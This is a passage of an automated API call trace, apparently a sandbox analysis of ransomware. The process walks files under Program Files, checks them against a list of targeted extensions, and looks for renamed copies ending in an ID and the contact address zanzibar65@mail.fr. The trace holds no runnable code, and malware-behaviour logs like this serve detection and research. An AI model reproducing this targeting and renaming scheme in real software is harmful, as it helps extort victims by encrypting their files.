shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0267.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.500] lstrlenW (lpString=".doc") returned 4 [0267.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.500] lstrlenW (lpString=".docx") returned 5 [0267.500] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0267.500] lstrlenW (lpString=".pdf") returned 4 [0267.500] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.500] lstrlenW (lpString=".xls") returned 4 [0267.500] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.500] lstrlenW (lpString=".xlsx") returned 5 [0267.500] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0267.500] lstrlenW (lpString=".ppt") returned 4 [0267.500] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.500] lstrlenW (lpString=".zip") returned 4 [0267.500] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.501] lstrlenW (lpString=".rar") returned 4 [0267.501] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.501] lstrlenW (lpString=".bz2") returned 4 [0267.501] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.501] lstrlenW (lpString=".7z") returned 3 [0267.501] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.501] lstrlenW (lpString=".dbf") returned 4 [0267.501] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.501] lstrlenW (lpString=".1cd") returned 4 [0267.501] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.501] lstrlenW (lpString=".jpg") returned 4 [0267.501] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.501] lstrlenW (lpString=".doc") returned 4 [0267.501] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.501] lstrlenW (lpString=".docx") returned 5 [0267.501] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0267.501] lstrlenW (lpString=".pdf") returned 4 [0267.501] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.501] lstrlenW (lpString=".xls") returned 4 [0267.501] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.501] lstrlenW (lpString=".xlsx") returned 5 [0267.501] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0267.501] lstrlenW (lpString=".ppt") returned 4 [0267.501] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.501] lstrlenW (lpString=".zip") returned 4 [0267.501] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.501] lstrlenW (lpString=".rar") returned 4 [0267.501] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.501] lstrlenW (lpString=".bz2") returned 4 [0267.501] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.502] lstrlenW (lpString=".7z") returned 3 [0267.502] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.502] lstrlenW (lpString=".dbf") returned 4 [0267.502] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.502] lstrlenW (lpString=".1cd") returned 4 [0267.502] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0267.502] lstrlenW (lpString=".jpg") returned 4 [0267.502] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.502] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.502] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0267.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.777] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=247) returned 1 [0267.777] CloseHandle (hObject=0x2fc) returned 1 [0267.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0267.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.778] lstrlenW (lpString=".doc") returned 4 [0267.778] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.778] lstrlenW (lpString=".docx") returned 5 [0267.778] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0267.778] lstrlenW (lpString=".pdf") returned 4 [0267.778] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.778] lstrlenW (lpString=".xls") returned 4 [0267.778] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.778] lstrlenW (lpString=".xlsx") returned 5 [0267.778] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0267.778] lstrlenW (lpString=".ppt") returned 4 [0267.778] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.778] lstrlenW (lpString=".zip") returned 4 [0267.778] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.778] lstrlenW (lpString=".rar") returned 4 [0267.778] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.778] lstrlenW (lpString=".bz2") returned 4 [0267.778] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.778] lstrlenW (lpString=".7z") returned 3 [0267.778] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.778] lstrlenW (lpString=".dbf") returned 4 [0267.778] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.778] lstrlenW (lpString=".1cd") returned 4 [0267.778] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.778] lstrlenW (lpString=".jpg") returned 4 [0267.778] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.779] lstrlenW (lpString=".doc") returned 4 [0267.779] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.779] lstrlenW (lpString=".docx") returned 5 [0267.779] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0267.779] lstrlenW (lpString=".pdf") returned 4 [0267.779] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.779] lstrlenW (lpString=".xls") returned 4 [0267.779] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.779] lstrlenW (lpString=".xlsx") returned 5 [0267.779] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0267.779] lstrlenW (lpString=".ppt") returned 4 [0267.779] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.779] lstrlenW (lpString=".zip") returned 4 [0267.779] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.779] lstrlenW (lpString=".rar") returned 4 [0267.779] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.779] lstrlenW (lpString=".bz2") returned 4 [0267.779] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.779] lstrlenW (lpString=".7z") returned 3 [0267.779] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.779] lstrlenW (lpString=".dbf") returned 4 [0267.779] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.779] lstrlenW (lpString=".1cd") returned 4 [0267.779] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0267.779] lstrlenW (lpString=".jpg") returned 4 [0267.779] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.779] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.780] lstrlenW (lpString="base_heb.xml") returned 12 [0267.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.868] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=738) returned 1 [0267.868] CloseHandle (hObject=0x2fc) returned 1 [0267.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0267.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.869] lstrlenW (lpString=".doc") returned 4 [0267.869] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.869] lstrlenW (lpString=".docx") returned 5 [0267.869] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0267.869] lstrlenW (lpString=".pdf") returned 4 [0267.869] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.869] lstrlenW (lpString=".xls") returned 4 [0267.869] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.869] lstrlenW (lpString=".xlsx") returned 5 [0267.869] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0267.869] lstrlenW (lpString=".ppt") returned 4 [0267.869] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.869] lstrlenW (lpString=".zip") returned 4 [0267.869] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.869] lstrlenW (lpString=".rar") returned 4 [0267.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.869] lstrlenW (lpString=".bz2") returned 4 [0267.869] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.869] lstrlenW (lpString=".7z") returned 3 [0267.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.869] lstrlenW (lpString=".dbf") returned 4 [0267.869] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.869] lstrlenW (lpString=".1cd") returned 4 [0267.869] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.869] lstrlenW (lpString=".jpg") returned 4 [0267.870] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.870] lstrlenW (lpString=".doc") returned 4 [0267.870] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.870] lstrlenW (lpString=".docx") returned 5 [0267.870] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0267.870] lstrlenW (lpString=".pdf") returned 4 [0267.870] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.870] lstrlenW (lpString=".xls") returned 4 [0267.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.870] lstrlenW (lpString=".xlsx") returned 5 [0267.870] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0267.870] lstrlenW (lpString=".ppt") returned 4 [0267.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.870] lstrlenW (lpString=".zip") returned 4 [0267.870] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.870] lstrlenW (lpString=".rar") returned 4 [0267.870] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.870] lstrlenW (lpString=".bz2") returned 4 [0267.870] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.870] lstrlenW (lpString=".7z") returned 3 [0267.870] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.870] lstrlenW (lpString=".dbf") returned 4 [0267.870] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.870] lstrlenW (lpString=".1cd") returned 4 [0267.870] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0267.870] lstrlenW (lpString=".jpg") returned 4 [0267.870] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.871] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0267.871] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0267.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0268.107] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=3792) returned 1 [0268.108] CloseHandle (hObject=0x2f4) returned 1 [0268.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0268.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.178] lstrlenW (lpString=".doc") returned 4 [0268.178] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0268.178] lstrlenW (lpString=".docx") returned 5 [0268.178] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0268.178] lstrlenW (lpString=".pdf") returned 4 [0268.178] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0268.178] lstrlenW (lpString=".xls") returned 4 [0268.178] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0268.178] lstrlenW (lpString=".xlsx") returned 5 [0268.178] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0268.178] lstrlenW (lpString=".ppt") returned 4 [0268.178] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0268.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.178] lstrlenW (lpString=".zip") returned 4 [0268.178] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0268.178] lstrlenW (lpString=".rar") returned 4 [0268.178] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0268.178] lstrlenW (lpString=".bz2") returned 4 [0268.178] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0268.178] lstrlenW (lpString=".7z") returned 3 [0268.179] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0268.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.179] lstrlenW (lpString=".dbf") returned 4 [0268.179] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0268.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.179] lstrlenW (lpString=".1cd") returned 4 [0268.179] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0268.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.179] lstrlenW (lpString=".jpg") returned 4 [0268.179] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0268.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.179] lstrlenW (lpString=".doc") returned 4 [0268.179] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0268.179] lstrlenW (lpString=".docx") returned 5 [0268.179] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0268.179] lstrlenW (lpString=".pdf") returned 4 [0268.179] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0268.179] lstrlenW (lpString=".xls") returned 4 [0268.179] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0268.179] lstrlenW (lpString=".xlsx") returned 5 [0268.179] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0268.179] lstrlenW (lpString=".ppt") returned 4 [0268.179] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0268.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.179] lstrlenW (lpString=".zip") returned 4 [0268.179] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0268.179] lstrlenW (lpString=".rar") returned 4 [0268.179] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0268.179] lstrlenW (lpString=".bz2") returned 4 [0268.179] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0268.179] lstrlenW (lpString=".7z") returned 3 [0268.180] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0268.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.180] lstrlenW (lpString=".dbf") returned 4 [0268.180] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0268.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.180] lstrlenW (lpString=".1cd") returned 4 [0268.180] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0268.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0268.180] lstrlenW (lpString=".jpg") returned 4 [0268.180] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0268.180] Sleep (dwMilliseconds=0x64) [0268.481] lstrcmpiW (lpString1=".wmv", lpString2=".html") returned 1 [0268.481] lstrlenW (lpString="Bear_Formatted_MATTE2_PAL.wmv") returned 29 [0268.481] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0268.536] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=181322) returned 1 [0268.536] CloseHandle (hObject=0x2fc) returned 1 [0268.536] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv")) returned 0x20 [0268.538] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.538] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.538] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.538] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.538] lstrlenW (lpString=".doc") returned 4 [0268.538] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0268.538] lstrlenW (lpString=".docx") returned 5 [0268.538] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0268.538] lstrlenW (lpString=".pdf") returned 4 [0268.538] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0268.538] lstrlenW (lpString=".xls") returned 4 [0268.539] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0268.539] lstrlenW (lpString=".xlsx") returned 5 [0268.539] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0268.539] lstrlenW (lpString=".ppt") returned 4 [0268.539] lstrcmpiW 